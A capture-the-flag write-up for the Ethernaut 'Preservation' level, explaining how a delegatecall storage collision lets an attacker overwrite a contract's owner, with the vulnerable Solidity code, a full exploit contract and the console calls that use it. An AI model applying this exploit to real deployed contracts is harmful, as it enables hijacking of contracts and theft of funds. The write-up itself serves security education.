> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/preservation.md).

# Preservation

delegatecall and storage

## Description

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

&#x20; Things that might help

* Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
* Understanding what it means for `delegatecall` to be context-preserving.
* Understanding how storage variables are stored and accessed.
* Understanding how casting works between different data types.

## Background Knowledge

<https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
```

Recall that:

* `Delegate` call is a special, low level function call intended to invoke functions from another, often library, contract.
* If Contract A makes a `delegatecall` to Contract B, it allows Contract B to freely mutate its storage A, given Contract B’s *relative* storage reference pointers.

In this challenge, `LibraryContract::setTime()` modifies the state variable at slot 0. In a delegatecall scenario such as `Preservation::setFirstTime()`, it is going to modify the state variable at slot 0 in contract `Preservation`, that is, `timeZone1Library`.

Now we know that `timeZOne1Library` is controllable, we can deploy a malicious contract that has the same storage layout as `Preservation` and contains a function named `setTime()`. This malicious `setTime()` function should modify the state variable at slot 2. When `Preservation::setFirstTime()` is called again, it is going to change the state variable at slot 2 in contract `Preservation`, that is, `owner`. And we are done.

## Solution

**Step 1:** In Remix, deploy the following malicious contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationHack {

    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    address public owner; // slot 2
    uint storedTime; // slot 3

    function setTime(uint256 _time) public {
        owner = msg.sender;
    }
}
```

**Step 2:** Invoke `setFirstTime(<malicious_contract_address>)`:

```javascript
await contract.setFirstTime('<malicious_contract_address>')
```

Now `tiemZone1Library` should be updated to malicious contract's address:

```javascript
await contract.timeZone1Library()
```

**Step 3:** Invoke `setFirstTime()` again with some random `uint256` such as `1337`:

```javascript
await contract.setFirstTime(1337)
```

Now `owner` should be updated to your Metamask wallet's address:

```javascript
await contract.owner()
```

## Summary

As the previous level, `delegate` mentions, the use of `delegatecall` to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the `library` keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.
